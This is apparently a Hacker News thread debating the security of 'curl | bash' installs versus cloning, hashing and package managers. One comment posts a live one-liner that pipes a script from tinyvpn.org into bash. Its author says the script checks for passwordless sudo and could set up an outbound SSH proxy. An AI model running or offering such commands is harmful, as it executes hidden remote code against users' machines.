It's better to tell people 'clone this repo and run this script'? I'm pretty sure people have exactly the same chance of auditing it.

curl | sh is slightly problematic from untrusted servers that might change the script depending on whether or not it's piped to a shell, but from gitlab I just don't see a difference.

Of course, it's better, because we can link to specific commit by sha256 hash, which is way more secure.

You can do that with a direct link too: bash <(curl -s https://gitlab.com/grownetics/devops/raw/ef053050065c4928714...)

No, you can't. Nothing will check SHA256 of a malware downloaded in this way, so nothing will stop malware from owning your host. To check, just put "127.0.0.1 gitlab.com" into your /etc/hosts and try to serve your own file from your URL. Git will detect this, curl will not.

Yes, try it. Unless something has changed drastically curl still checks that certificates are valid.

It looks like you assume that SSL guarantees correctness of the file.

First, I had experience with substituted SSL certificates (by our government, at revolution), when errors were reported by Chrome only due to certificate pinning for Google services.

Second, site can be hacked and replaced directly at the site.

When your threat level is government agencies then, sure, you have issues. But git wouldn't solve anything, unless you have a way to verify the hash or signature.

Can you name even a single instance of this ever distributing malware in history? If downloading an anonymous binary makes you feel safer then I think your criticism lacks merit.

I wish curl (or a similar tool shipped by default on all distros) had a flag that accepts a hash and verifies that that downloaded file matches that flag before streaming it out

I played around with that idea in https://github.com/mkmik/runck but it obviously can used for installation instructions only if it's rather ubiquitous.

Integrity of the file after transfer isn't the problem.

One possible curl/bash attack is to serve a safe file to browsers but a malicious one to curl. In that case a step where you verify the integrity of the file curl downloads would be useful.

(I seem to recall there being a way for the server to reliably guess whether the file was being piped or saved to disc, as well, which would let you restrict the malicious version even more. Google is failing me at the moment, though.)

This post demonstrates detecting the difference between a user piping the output from curl to bash OR curl to stdout.

https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...

What specific threat do you believe your advice is protecting people against?

sudo -n is a start.

Here is one I wrote that shows your internet speed, but will also check to see if you have passwordless sudo. Even without sudo, I could spawn and persist a gateway port ssh proxy outbound to a VPS node, but with sudo, I could do much more.

    curl -A Mozilla -s https://tinyvpn.org/misc/url_test.txt | bash

… and you've installed this on Gitlab's servers? If not, the knowledge that people write malicious code is not new but the problem isn't running it using curl but not vetting the source and code before you run it. Focusing on the use of curl distracts attention from the part which matters.

I understand what you are saying, but respectfully disagree.

Conditioning people to use `curl | bash` trains them to not review anything and blindly run untrusted code. I have proven this across a very large group of people, including many that are supposed to be security minded. This technique works on nearly all organizations, as most companies and government agencies do not force outbound traffic through a mitm proxy. I have mixed feelings about those devices.

For what it's worth, where the code is running from doesn't really matter. The only advantage to pulling something from gitlab or github, is that I have to commit changes that anyone could see assuming I dont recreate the repo, which I can automate in their API. From any of my own VM's or servers, I can certainly make something look like a .txt that isn't and dynamically changes based on user-agent, remote addr, latency, ttl, etc.. I could even change the response if someone used curl with a fake user-agent, based on timing, but that is another blog post for another day.

Fair enough but I would ask whether this is really that much worse than, say, running "npm install" or "pip install" for a package whose author you don't implicitly trust. From my perspective, that time would be better spent educating developers and working to make their tools safer to use — for example, using aws-vault on a Mac means that that a drive-by script cannot harvest your AWS credentials (the key chain requires prompting per-binary and the user cannot bypass it).

Tools like pip, pear, gem, etc... are quite bad as well. Unless they are validating gpg checks of files or packages against a trusted source, then you could easily be installing a package from a mirror that has been compromised. In fact, this has happened to python repositories several times.

Even gpg checks when done the way Ubuntu and Redhat do it, is also bad. I see people install the gpg keys from the mirror all the time. If I pop the mirror, I can simply put my own gpg keys in the mirror and a percentage of people will happily install it.

GPG adds usability problems and doesn’t much help in the case where people have no idea whether the remote author they’ve never met is trustworthy. In most cases something like a Linux distribution is what you want where things are at least highly visible and a trusted third-party is looking at the update history.

Modern package managers do at least store hashes so your NPM, Python, Rust, etc. packages can depend on other packages with hashes in addition to just a version, which at least forces them to attempt to make the exploit covert enough that it can be deployed to everyone but there are many ways to make something subtly vulnerable. Ultimately, I really think this is coming back to securing the environment so a successful attack gets less. Apple has led the way on protecting things like passwords and mail from other processes running as the same user but it’d be really interesting to see how far you could get running your entire toolchain using the OS’ sandboxing.

Here is a thread discussing the detection of `curl | bash` based on script timing [1]

[1] - https://news.ycombinator.com/item?id=17636032

malware

Think about this more: what malware are you going to get by running that command that you wouldn't get by downloading the file and running it locally?

You'll eventually realize that the answer is that this advice has no value. What could potentially have value is reviewing the code before running it, which can be done either way.

There is one difference still, by downloading it locally, you only have to check it once and not everytime you want to use the script. You definitely have to trust more parties by piping from the web, and these parties could be compromised at some point. This might be fine, it depends on your own security policy.

Of course, I can get malware in both ways, so recommended way is to trust a third party, a maintainer, which will review code, and then will create signed package.

Right, so rather than talking about curl | bash it would really be better to talk about your review process since, for example, the same concerns apply if you do something like "npm install" without vetting every dependency.

Better usage would be:

- wget https://gitlab.com/grownetics/devops/raw/master/tor_ssh.sh

- less tor_ssh.sh

- sudo bash tor_ssh.sh

Thanks, added. https://gitlab.com/grownetics/devops/blob/master/tor_ssh.sh#...

You are making a script to access a server through Tor, I think "paranoid" users might be most of your users.

The purpose is easy NAT traversal for things like onsite physical servers or CI testing.

Tor is not reserved for nefarious purposes.

I recently saw the term “curlbashware”, and I like it.

The command is only found in the script itself when you look at the source from gitlab. Also the script contains 7 lines in total if you remove the comments.

I get what you're trying to say but in that specific case I don't think it really applies.

I mean, that command is linked to in the actual script itself. I figure if you're already reading it, it's probably pretty safe to run. It's also what, a seven line script? Not too many places to hide anything nefarious in there.

Sure, I suppose the install directions should be more like, wget the file, cat it to be sure gitlab didn't serve you a malicious file instead(?), then run it.

Really not sure what this has to do with malware on Windows though.